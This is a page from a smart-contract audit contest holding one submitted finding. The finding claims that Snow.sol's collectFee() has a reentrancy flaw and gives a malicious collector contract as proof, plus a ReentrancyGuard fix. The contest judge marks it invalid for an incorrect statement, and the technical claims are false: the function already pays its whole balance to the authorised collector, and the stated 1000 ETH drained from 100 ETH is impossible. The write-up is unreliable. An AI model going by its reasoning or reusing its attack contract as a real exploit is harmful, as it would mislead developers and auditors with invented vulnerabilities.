Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrancy Vulnerability in collectFee() Allows Fund Drainage

Root + Impact

Description

  • The collectFee() function in Snow.sol allows the collector to withdraw accumulated WETH and ETH fees from the contract to the designated collector address

  • The function performs external calls (i_weth.transfer and payable.call) before completing all state updates, creating a reentrancy vulnerability that allows malicious collectors to drain contract funds repeatedly in a single transaction

// Snow.sol:101-107
function collectFee() external onlyCollector {
uint256 collection = i_weth.balanceOf(address(this));
@> i_weth.transfer(s_collector, collection);
@> (bool collected,) = payable(s_collector).call{value: address(this).balance}("");
require(collected, "Fee collection failed!!!");
}

Risk

Likelihood:

  • The collector address calls collectFee() during normal fee collection operations

  • A malicious collector deploys a contract with a fallback function that re-enters collectFee() when receiving ETH via the low-level call

Impact:

  • Attackers drain all WETH and ETH balances from the Snow contract through recursive calls

  • Legitimate users lose their accumulated fees permanently as the contract balance reaches zero

Proof of Concept

The attack exploits the reentrancy vulnerability in collectFee() by deploying a malicious collector contract. When the Snow contract sends ETH via the low-level call, it triggers the attacker's receive() fallback function before completing execution. This callback re-enters collectFee() recursively, draining all funds.

Attack Flow:

  1. Attacker deploys MaliciousCollector and gets set as the collector address

  2. Attacker calls startAttack() to initiate collectFee()

  3. Snow.collectFee() transfers WETH, then sends ETH via payable.call

  4. The ETH transfer triggers MaliciousCollector.receive()

  5. receive() immediately calls collectFee() again (reentrancy)

  6. Steps 3-5 repeat 10 times, draining the contract

  7. After 10 iterations, the attack completes with all funds stolen

// Malicious collector contract
contract MaliciousCollector {
Snow public snowContract;
uint256 public attackCount;
constructor(address _snow) {
snowContract = Snow(_snow);
}
function startAttack() external {
snowContract.collectFee();
}
// Fallback function triggered by payable.call in collectFee
receive() external payable {
if (attackCount < 10 && address(snowContract).balance > 0) {
attackCount++;
snowContract.collectFee(); // Re-enter collectFee
}
}
}

Expected Result: The attacker drains 10x the normal fee amount in a single transaction. If the Snow contract holds 100 ETH, the attacker extracts 1000 ETH worth of value through recursive calls.

Recommended Mitigation

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract Snow is ERC20, Ownable {
+ contract Snow is ERC20, Ownable, ReentrancyGuard {
// ... existing code ...
}
- function collectFee() external onlyCollector {
+ function collectFee() external onlyCollector nonReentrant {
uint256 collection = i_weth.balanceOf(address(this));
i_weth.transfer(s_collector, collection);
(bool collected,) = payable(s_collector).call{value: address(this).balance}("");
require(collected, "Fee collection failed!!!");
}

Add OpenZeppelin's ReentrancyGuard contract and apply the nonReentrant modifier to the collectFee function. This prevents recursive calls during execution and protects against reentrancy attacks.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!